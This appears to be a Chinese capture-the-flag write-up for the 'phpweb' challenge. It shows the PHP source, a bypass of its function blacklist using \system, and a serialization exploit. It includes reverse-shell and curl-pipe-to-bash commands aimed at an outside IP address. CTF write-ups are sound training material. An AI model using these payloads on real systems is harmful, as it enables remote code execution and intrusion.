[网鼎杯 2020 朱雀组]phpweb
PHP中回调函数:call_user_func()、call_user_func_array()
猜测题中为call_user_func()
常用的几个执行函数都被过滤,而file_get_contents()可以去用来读取源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
方法1
1-1
使用 \system 或者 @system 绕过黑名单,进而执行命令
加 \ 指定根命名空间
加 @ 抑制错误显示
@ 运算符只对表达式有效。对新手来说一个简单的规则就是:如果能从某处得到值,就能在它前面加上 @ 运算符。例如,可以把它放在变量,函数和 include() 调用,常量,等等之前。不能把它放在函数或类的定义之前,也不能用于条件结构例如 if 和 foreach 等。
目前的“@”错误控制运算符前缀甚至使导致脚本终止的严重错误的错误报告也失效。这意味着如果在某个不存在或类型错误的函数调用前用了“@”来抑制错误信息,那脚本会没有任何迹象显示原因而死在那里。
1-2
nc -lvnp 9002
echo "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"|bash
直接post传参(进行url编码)
system()调用/bin/sh,而它指向dash shell (仅指我测试的)
# 查看/bin/sh指向
ls -l /bin/sh
# lrwxrwxrwx 1 root root 4 Apr 23 2020 /bin/sh -> dash
dash中自然需要适合自己的语法,而bash -i >& /dev/tcp/49.232.213.200/9000 0>&1不符合其语法,所以需要指定其他shell(如bash)来执行反弹shell(或者想办法搞出一个dash反弹shell)
func=\system&p=echo "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"|bash
bash -c "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"
或者远程shell
func=\system&p=curl http://49.232.213.200/1.txt|bash
方法2
2-1
普通的反序列化
unserialize + 序列化后的字符串
<?php
class Test{
var $p = "ls";
var $func = "system";
}
$a = new Test();
$b = serialize($a);
echo $b;
echo "\n\n\n\n";
$c = urlencode($b);
echo $c;
2-2
用上 reverse shell 的反序列化
<?php
class Test
{
var $p = 'echo "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"|bash';
var $func = "system";
}
$a = new Test();
$b = serialize($a);
echo $b;
echo "\n\n\n\n";
$c = urlencode($b);
echo $c;
分类:
反序列化题目
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!